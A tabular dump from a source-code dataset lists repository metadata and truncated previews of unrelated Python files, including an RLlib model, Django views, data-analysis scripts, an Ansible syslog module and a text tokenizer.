hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29b4bd0e2db0b440cc7b66c80b4c23a4b59a5164 | 3,360 | py | Python | model/two_input_model.py | michal-choinski/sequential_moral_dilemmas | c6364672b996f04e4c791e20fd8b96eb5cf15b91 | [
"MIT"
] | 1 | 2021-04-21T10:08:10.000Z | 2021-04-21T10:08:10.000Z | model/two_input_model.py | michal-choinski/sequential_moral_dilemmas | c6364672b996f04e4c791e20fd8b96eb5cf15b91 | [
"MIT"
] | null | null | null | model/two_input_model.py | michal-choinski/sequential_moral_dilemmas | c6364672b996f04e4c791e20fd8b96eb5cf15b91 | [
"MIT"
] | null | null | null | from ray.rllib.agents.dqn.distributional_q_tf_model import DistributionalQTFModel
from ray.rllib.models.tf.misc import normc_initializer
from ray.rllib.models.preprocessors import get_preprocessor
from ray.rllib.models.utils import get_activation_fn
from ray.rllib.utils.framework import try_import_tf
tf1, tf, tfv = t... | 37.752809 | 111 | 0.633631 |
8a2c627d7c6c47ff23d3658dee29dcb74199ccb9 | 5,442 | py | Python | edward2/tensorflow/layers/__init__.py | krasserm/edward2 | 311d3ad6946b543e70af1495eab9a0a9b4f69854 | [
"Apache-2.0"
] | null | null | null | edward2/tensorflow/layers/__init__.py | krasserm/edward2 | 311d3ad6946b543e70af1495eab9a0a9b4f69854 | [
"Apache-2.0"
] | null | null | null | edward2/tensorflow/layers/__init__.py | krasserm/edward2 | 311d3ad6946b543e70af1495eab9a0a9b4f69854 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# Copyright 2020 The Edward2 Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 44.243902 | 83 | 0.830026 |
76f4f92d8d414792ae7e917e6cb86eeea82f76d4 | 2,752 | py | Python | DataProcess/tagPair/phase_tag_pair_diff.py | zhangupkai/RFID_Script | 9e05fad86e71dc6bd5dd12650d369f13d5a835c8 | [
"MIT"
] | null | null | null | DataProcess/tagPair/phase_tag_pair_diff.py | zhangupkai/RFID_Script | 9e05fad86e71dc6bd5dd12650d369f13d5a835c8 | [
"MIT"
] | null | null | null | DataProcess/tagPair/phase_tag_pair_diff.py | zhangupkai/RFID_Script | 9e05fad86e71dc6bd5dd12650d369f13d5a835c8 | [
"MIT"
] | null | null | null | import matplotlib
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from myunwrap import unwrap
from filters import hampel
from pre_purpose import normalization
import seaborn as sns
from base_list import *
import math
"""
标签阵列中两个标签的相位差值
"""
def deal_data(count1, count2):
# distance = '50cm_... | 25.962264 | 112 | 0.59048 |
0a3e2073cb7e74ba492c28564b2196524bc94f68 | 1,207 | py | Python | klufweb/static_page/views.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | null | null | null | klufweb/static_page/views.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | 5 | 2015-05-22T12:05:54.000Z | 2015-05-22T12:09:06.000Z | klufweb/static_page/views.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | null | null | null | from django.http import Http404
from django.shortcuts import render, render_to_response
from django.views.generic import View
from django.template import RequestContext
from static_page.models import StaticPage
class StaticPageHandler(View):
template_url = 'static_page/static_page.html'
print("HEJ")
def ... | 29.439024 | 75 | 0.645402 |
86d2ac318569d04b9d124f8d562907058cfaba52 | 1,455 | py | Python | gemtown/modelphotos/migrations/0001_initial.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | null | null | null | gemtown/modelphotos/migrations/0001_initial.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | 5 | 2020-09-04T20:13:39.000Z | 2022-02-17T22:03:33.000Z | gemtown/modelphotos/migrations/0001_initial.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.13 on 2019-04-20 06:10
from django.db import migrations, models
import gemtown.modelphotos.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ModelPhoto',
fields=[
... | 44.090909 | 249 | 0.593814 |
d4fb9c9ca95cdb1e6d2c018773e44b1c3a632b1f | 1,336 | py | Python | Kapitel_4/_E1_access_logging.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | 1 | 2020-12-24T15:42:54.000Z | 2020-12-24T15:42:54.000Z | Kapitel_4/_E1_access_logging.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | Kapitel_4/_E1_access_logging.py | Geralonx/Classes_Tutorial | 9499db8159efce1e3c38975b66a9c649631c6727 | [
"MIT"
] | null | null | null | import logging
logging.basicConfig(level=logging.INFO)
# Wenn man mit getattr und setattr arbeiten muss/möchte,
# dann benötigt man ein anderen Bezeichner für das Attribut innerhalb
# der Instanz als die Definition in der Klasse. Dieser andere
# Bezeichner wird aber nur Intern verwendet. Der Zugriff selbst
# bleibt b... | 31.069767 | 75 | 0.690868 |
b948474d8b21a4408fce62361ff00d5fd2b3568d | 833 | py | Python | projects/g3h2-algorithm/practice2/3_longest_common_substring.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g3h2-algorithm/practice2/3_longest_common_substring.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g3h2-algorithm/practice2/3_longest_common_substring.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | def longest_common_substring(s1: str, s2: str) -> str:
m = len(s1)
n = len(s2)
max_flag = (0, 0) # 以s1中的位置为准
flag_matrix = [[0 for _ in range(n+1)] for _ in range(m+1)]
for i in range(m):
for j in range(n):
if s1[i] == s2[j]:
flag_matrix[i+1][j+1] = flag_matrix[... | 32.038462 | 75 | 0.559424 |
b9dcd46de9860959e7e39ab1641b1e300268c1d5 | 16,378 | py | Python | src/Sephrasto/Sephrasto.py | qeqar/Sephrasto | ce46d46299b2c793f015e25c98908773c39b1dee | [
"MIT"
] | null | null | null | src/Sephrasto/Sephrasto.py | qeqar/Sephrasto | ce46d46299b2c793f015e25c98908773c39b1dee | [
"MIT"
] | null | null | null | src/Sephrasto/Sephrasto.py | qeqar/Sephrasto | ce46d46299b2c793f015e25c98908773c39b1dee | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 23 21:30:34 2017
@author: Aeolitus
"""
from PyQt5 import QtWidgets, QtCore, QtGui
import sys
import logging
import os
import os.path
import UI.MainWindow
import CharakterEditor
import DatenbankEdit
import UI.CharakterMain
import UI.DatenbankMain
fro... | 43.442971 | 160 | 0.61778 |
e0384de7528df45dce971244b6c8894a957eb373 | 3,222 | py | Python | awsrun/submit/tasks.py | eec289q-f21/stdsw | 93604a1b947e39496e6559982eea6d41c77d0204 | [
"MIT"
] | null | null | null | awsrun/submit/tasks.py | eec289q-f21/stdsw | 93604a1b947e39496e6559982eea6d41c77d0204 | [
"MIT"
] | null | null | null | awsrun/submit/tasks.py | eec289q-f21/stdsw | 93604a1b947e39496e6559982eea6d41c77d0204 | [
"MIT"
] | 1 | 2021-10-07T23:10:33.000Z | 2021-10-07T23:10:33.000Z | import os
import time
from abc import ABC, abstractmethod
from common.commands import Compress, Upload, SendMsg, Download, Decompress
from common.configuration import AWSPathManager
from common.protocol import IOTask, AWSMsg, AWSIDRegistration
from common.resources import Folder, File, OSPath
from multipledispatch imp... | 40.275 | 123 | 0.663563 |
0ed8cff7b806569bf9b9efef803fa8ec3b83d3f2 | 689 | py | Python | source/pkgsrc/mail/archivemail/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/mail/archivemail/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/mail/archivemail/patches/patch-setup.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-setup.py,v 1.1 2012/01/24 11:49:33 obache Exp $
* Let not to force Linux FHS compliant for manpath.
--- setup.py.orig 2011-07-09 17:09:57.000000000 +0000
+++ setup.py
@@ -1,6 +1,7 @@
#! /usr/bin/env python
import sys
+import os
def check_python_version():
"""Abort if we are running on pyth... | 31.318182 | 85 | 0.638607 |
16a3fe2b654e9d2f785da29f8196b66cf5548997 | 5,177 | py | Python | Apps/Auswertung/answer_class_correction_analysis.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | 1 | 2021-04-13T10:00:46.000Z | 2021-04-13T10:00:46.000Z | Apps/Auswertung/answer_class_correction_analysis.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | null | null | null | Apps/Auswertung/answer_class_correction_analysis.py | RGreinacher/bachelor-thesis | 60dbc03ce40e3ec42f2538d67a6aabfea6fbbfc8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# import python libs
import re
import json
import argparse
import json
import collections
import copy
from os import listdir
from os.path import isfile, join
from pprint import pprint as pp
from operator import itemgetter
# import project libs
from constants import *
f... | 42.089431 | 186 | 0.649218 |
bce959490d9ed42bc5d6e5447c9c3085f8045fa8 | 351 | py | Python | src/onegov/town6/views/atoz.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/views/atoz.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town6/views/atoz.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.security import Public
from onegov.org.models import AtoZ
from onegov.org.views.atoz import atoz
from onegov.town6 import TownApp
from onegov.town6.layout import DefaultLayout
@TownApp.html(model=AtoZ, template='atoz.pt', permission=Public)
def town_atoz(self, request):
return atoz(self, request,... | 31.909091 | 64 | 0.80057 |
911a5159ab57c86963c88bccdf4f025e9d87464e | 24,787 | py | Python | examples/information_extraction/DuUIE/uie/evaluation/scorer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/information_extraction/DuUIE/uie/evaluation/scorer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | examples/information_extraction/DuUIE/uie/evaluation/scorer.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
from collections import defaultdict
from copy import deepcopy
from typing import Dict, List
import sys
def tuple_offset(offset):
if isinstance(offset, tuple):
return offset
else:
return tuple(offset)
def warning_tp_increment(gold, pred, prefix):
... | 40.835255 | 157 | 0.474039 |
5d6d8e8ca0bb9a7fc7110c06a1fc33b3846f4eca | 2,487 | py | Python | main.py | sahu-ayush56/Movie-Recommender | 518e89f7e542841cc11d03ff1716e13807f6155b | [
"MIT"
] | null | null | null | main.py | sahu-ayush56/Movie-Recommender | 518e89f7e542841cc11d03ff1716e13807f6155b | [
"MIT"
] | null | null | null | main.py | sahu-ayush56/Movie-Recommender | 518e89f7e542841cc11d03ff1716e13807f6155b | [
"MIT"
] | null | null | null | import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import difflib
import requests
from bs4 import BeautifulSoup
import streamlit as st
title_match = ""
def recommender(movie_name,number):
global title_match
movies_df = pd.read_c... | 38.859375 | 140 | 0.697628 |
53ba275b2296b040287f4b16a0502e3761a48b8f | 3,705 | py | Python | CxFreezeBuild.py | klnrdknt/Sephrasto | 591224fe01825a169c21ebc6136533f282ce9a0b | [
"MIT"
] | 15 | 2017-11-09T12:49:52.000Z | 2022-03-06T12:18:48.000Z | CxFreezeBuild.py | klnrdknt/Sephrasto | 591224fe01825a169c21ebc6136533f282ce9a0b | [
"MIT"
] | 40 | 2018-02-01T21:32:01.000Z | 2022-03-22T11:35:28.000Z | CxFreezeBuild.py | klnrdknt/Sephrasto | 591224fe01825a169c21ebc6136533f282ce9a0b | [
"MIT"
] | 13 | 2018-03-12T17:50:42.000Z | 2022-03-06T12:21:41.000Z | import sys
from cx_Freeze import setup, Executable
import Version
import os
import shutil
print("Cleaning build folder")
dir_path = os.path.dirname(os.path.realpath(__file__))
build_path = os.path.join(dir_path, "Build")
platforms_path = os.path.join(build_path, "platforms")
styles_path = os.path.join(build_path, "sty... | 31.939655 | 148 | 0.672874 |
9903de6a49ebdc960ab4e591d91630f540a9ac65 | 4,704 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/syslogger.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/syslogger.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/syslogger.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# Copyright (c) 2017 Tim Rightnour <thegarbledone@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
... | 28 | 92 | 0.558886 |
072db2d9f64b7902266e0329dcc85047bf9e89bf | 294 | py | Python | Problems/Two Pointers/easy/SquareSortedArray/test_squares_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Two Pointers/easy/SquareSortedArray/test_squares_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Two Pointers/easy/SquareSortedArray/test_squares_sorted_array.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from unittest import TestCase
from squares_sorted_array import sortedSquares
class Test(TestCase):
def test_sorted_squares(self):
self.assertEqual(sortedSquares([-4, -1, 0, 3, 10]), [0, 1, 9, 16, 100])
self.assertEqual(sortedSquares([-7, -3, 2, 3, 11]), [4, 9, 9, 49, 121]) | 42 | 79 | 0.666667 |
ab24a5412f97f05c5bd247139e7eff973bd98d18 | 13,692 | py | Python | src/test/tests/databases/NASTRAN.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/test/tests/databases/NASTRAN.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/test/tests/databases/NASTRAN.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: NASTRAN.py
#
# Tests: mesh - 3D unstructured, single domain
# plots - Mesh
#
# Programmer: Brad Whitlock
# Date: Thu Jul 7 17:46:51 PST 2005
#
# Modifications:
# Ed... | 27.005917 | 78 | 0.628615 |
db508d913be4d8fa61ad6aec266360c817f7f0de | 714 | py | Python | src/model/server.py | agusalex/PacketSnifferServer | 95f72dfd5e3b4e11d4b8a70390be010b9bbb267f | [
"MIT"
] | null | null | null | src/model/server.py | agusalex/PacketSnifferServer | 95f72dfd5e3b4e11d4b8a70390be010b9bbb267f | [
"MIT"
] | 1 | 2021-05-24T19:25:35.000Z | 2021-05-24T19:25:35.000Z | src/model/server.py | agusalex/PacketSnifferServer | 95f72dfd5e3b4e11d4b8a70390be010b9bbb267f | [
"MIT"
] | null | null | null | import socketserver
class MyUDPHandler(socketserver.BaseRequestHandler):
"""
This class works similar to the TCP handler class, except that
self.request consists of a pair of data and client socket, and since
there is no connection the client address must be given explicitly
when sending data back... | 28.56 | 72 | 0.684874 |
dbc5eec7b232070d933f850f2658dbc996e7c566 | 1,127 | pyde | Python | sketches/riley05_animiert/riley05_animiert.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/riley05_animiert/riley05_animiert.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/riley05_animiert/riley05_animiert.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | from random import randint, choice
riley_pal = [color(4, 21, 31), color(1, 155, 183), color(226, 107, 67),
color(60, 76, 97), color(144, 166, 215), color(240, 192, 68),
color(240, 245, 248)]
WIDTH = 640
HEIGHT = 480
FPS = 60
color_list = []
def setup():
global counter, switch
size(WI... | 27.487805 | 74 | 0.583851 |
72feadb0b302718ebbbe3f42d692bd24b280c05a | 8,830 | py | Python | plot_utils.py | gdasoulas/PGSO | 0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d | [
"MIT"
] | 1 | 2022-03-08T15:23:26.000Z | 2022-03-08T15:23:26.000Z | plot_utils.py | gdasoulas/PGSO | 0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d | [
"MIT"
] | null | null | null | plot_utils.py | gdasoulas/PGSO | 0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import torch
import numpy as np
import pandas as pd
import os.path as osp
from utils import condition_number
import pandas as pd
from scipy.sparse.linalg import svds
import random
import seaborn as sns
workspace = './exps'
outfolder = './figures'
def plot_scalar_params_per_initializa... | 39.596413 | 165 | 0.646999 |
bec4d109bdee34f330ea6449065b8b9724decff1 | 4,596 | py | Python | tokenizer/plaintext/plaintext_tokenizer.py | Submitty/Lichen | a45457ed5e46ef12216bdf6c7051209bc00c4dff | [
"BSD-3-Clause"
] | 5 | 2019-03-04T12:59:53.000Z | 2022-03-25T03:07:00.000Z | tokenizer/plaintext/plaintext_tokenizer.py | Submitty/Lichen | a45457ed5e46ef12216bdf6c7051209bc00c4dff | [
"BSD-3-Clause"
] | 12 | 2018-06-05T16:35:31.000Z | 2022-02-14T21:43:40.000Z | tokenizer/plaintext/plaintext_tokenizer.py | Submitty/Lichen | a45457ed5e46ef12216bdf6c7051209bc00c4dff | [
"BSD-3-Clause"
] | 2 | 2018-06-05T18:00:09.000Z | 2019-03-04T12:59:57.000Z | import json
import argparse
import string
def parse_args():
parser = argparse.ArgumentParser(description="Plaintext Tokenizer")
parser.add_argument("input_file")
parser.add_argument("--ignore_punctuation", action='store_true')
parser.add_argument("--to_lower", action='store_true')
parser.add_argum... | 34.298507 | 96 | 0.45322 |
a3d49c52d82088065759f4bba116e5bf94a0a799 | 1,389 | py | Python | build/sdk/verify_atom_api.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | null | null | null | build/sdk/verify_atom_api.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | null | null | null | build/sdk/verify_atom_api.py | opensource-assist/fuschia | 66646c55b3d0b36aae90a4b6706b87f1a6261935 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python2.7
# Copyright 2019 The Fuchsia Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import filecmp
import json
import sys
# Verifies if the API for an atom has changed.
# This is done with a simple fi... | 30.195652 | 73 | 0.640029 |
4303886a120ac0d30be33bffbc6b318ab2c38d60 | 5,673 | py | Python | web/controllers/account/Account.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | 1 | 2020-03-24T04:26:34.000Z | 2020-03-24T04:26:34.000Z | web/controllers/account/Account.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | null | null | null | web/controllers/account/Account.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from flask import Blueprint, request, redirect, jsonify
from common.libs.Helper import ops_render, i_pagination, get_current_date
from common.libs.UrlManager import UrlManager
from common.libs.user.UserService import UserService
from common.models.log.AppAccessLog import AppAccessLog
from common... | 30.5 | 120 | 0.604618 |
434b6a09df9be6a95cc37a08a92811298ed4662c | 1,132 | py | Python | python_experiments/data_analysis/vldbj_data_parsing/probesim_accuracy_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 8 | 2020-04-14T23:17:00.000Z | 2021-06-21T12:34:04.000Z | python_experiments/data_analysis/vldbj_data_parsing/probesim_accuracy_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | null | null | null | python_experiments/data_analysis/vldbj_data_parsing/probesim_accuracy_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 1 | 2021-01-17T16:26:50.000Z | 2021-01-17T16:26:50.000Z | from data_analysis.vldbj_data_parsing.probesim_querying_time_statistics import probesim_folder, probesim_gt_tag, suffix_str
from data_analysis.vldbj_data_parsing.querying_time_accuracy_statistics import get_accuracy_lst, accuracy_data_set_lst
import json
def get_accuracy_lst_per_algorithm(round_num, result_file_name)... | 49.217391 | 123 | 0.734099 |
438444f80833a2d2db6bd1fe0f5558fe6b986567 | 353 | py | Python | exercises/en/test_02_10_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | 2 | 2020-07-07T01:46:37.000Z | 2021-04-20T03:19:43.000Z | exercises/en/test_02_10_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/en/test_02_10_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | def test():
assert (
"token1.similarity(token2)" in __solution__ or "token2.similarity(token1)" in __solution__
), "Are you comparing the similarity of the two tokens?"
assert (
0 <= float(similarity) <= 1
), "The value of similarity needs to be a float. Did you calculate it correctly?"
... | 39.222222 | 98 | 0.66289 |
e099f3adeb8c38db903dfbe97ebbffc9e12f6591 | 3,866 | py | Python | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/khmer-1.1-py2.7-linux-x86_64.egg/EGG-INFO/scripts/interleave-reads.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2019-07-29T02:53:51.000Z | 2019-07-29T02:53:51.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/khmer-1.1-py2.7-linux-x86_64.egg/EGG-INFO/scripts/interleave-reads.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2021-09-11T14:30:32.000Z | 2021-09-11T14:30:32.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/khmer-1.1-py2.7-linux-x86_64.egg/EGG-INFO/scripts/interleave-reads.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 2 | 2016-12-19T02:27:46.000Z | 2019-07-29T02:53:54.000Z | #!/usr/bin/python2.7
#
# This file is part of khmer, http://github.com/ged-lab/khmer/, and is
# Copyright (C) Michigan State University, 2009-2014. It is licensed under
# the three-clause BSD license; see doc/LICENSE.txt.
# Contact: khmer-project@idyll.org
#
# pylint: disable=invalid-name,missing-docstring
"""
Take two... | 30.928 | 110 | 0.607605 |
1c7a60fd44c5401eb2505580a149cc895f2cd0ab | 6,793 | py | Python | bach_code/logit.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | 5 | 2015-12-08T21:47:41.000Z | 2020-10-28T12:39:08.000Z | bach_code/logit.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | null | null | null | bach_code/logit.py | glasperfan/thesis | aead2dfb8052afbff4d05203a0be5b0b7ef69462 | [
"Apache-2.0"
] | 1 | 2020-10-28T12:39:09.000Z | 2020-10-28T12:39:09.000Z | from sklearn import linear_model
from sklearn import naive_bayes
from sklearn.preprocessing import OneHotEncoder
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import ExtraTreesClassifier
import h5py
import numpy
from collections import Counter
def encode(train, test):
encoder = OneHotEnco... | 40.921687 | 113 | 0.716767 |
c780cbf2a5f93e7ef66825c4ebd1e6c47c4da861 | 6,369 | py | Python | scripts/qt2/pyqt_sw13_Senso.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt2/pyqt_sw13_Senso.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | scripts/qt2/pyqt_sw13_Senso.py | ProfJust/Ruhr-TurtleBot-Competition-RTC- | 5c2425bee331b4d5033757a9425676932d111775 | [
"Unlicense",
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# https://www.youtube.com/watch?v=Q-U9oqv2bTk
##pyqt_sw13_Senso.py
import sys
from PyQt5.QtCore import (Qt, QTimer)
from PyQt5.QtWidgets import (QWidget, QPushButton, QApplication, QLabel)
# sudo apt-get install python-pyqt5.qtmultimedia
from PyQt5.QtMultimedia import QSound
i... | 42.178808 | 80 | 0.528811 |
407c7fc21d935a88ffd2376f3bd878b14302471c | 254 | py | Python | 07_Testing/network/project4/network/admin.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 07_Testing/network/project4/network/admin.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 07_Testing/network/project4/network/admin.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import User, Post, Like, Dislike, Follow
# Register your models here.
admin.site.register(User)
admin.site.register(Post)
admin.site.register(Like)
admin.site.register(Dislike)
admin.site.register(Follow)
| 23.090909 | 54 | 0.791339 |
90e6d15deacbcd7b93e6e6337ed56a5c3b7747ab | 14,108 | py | Python | src/blogpost.py | cdeck3r/instablog | 7c621d2b0454672474eb667f39ff1861beaaee73 | [
"MIT"
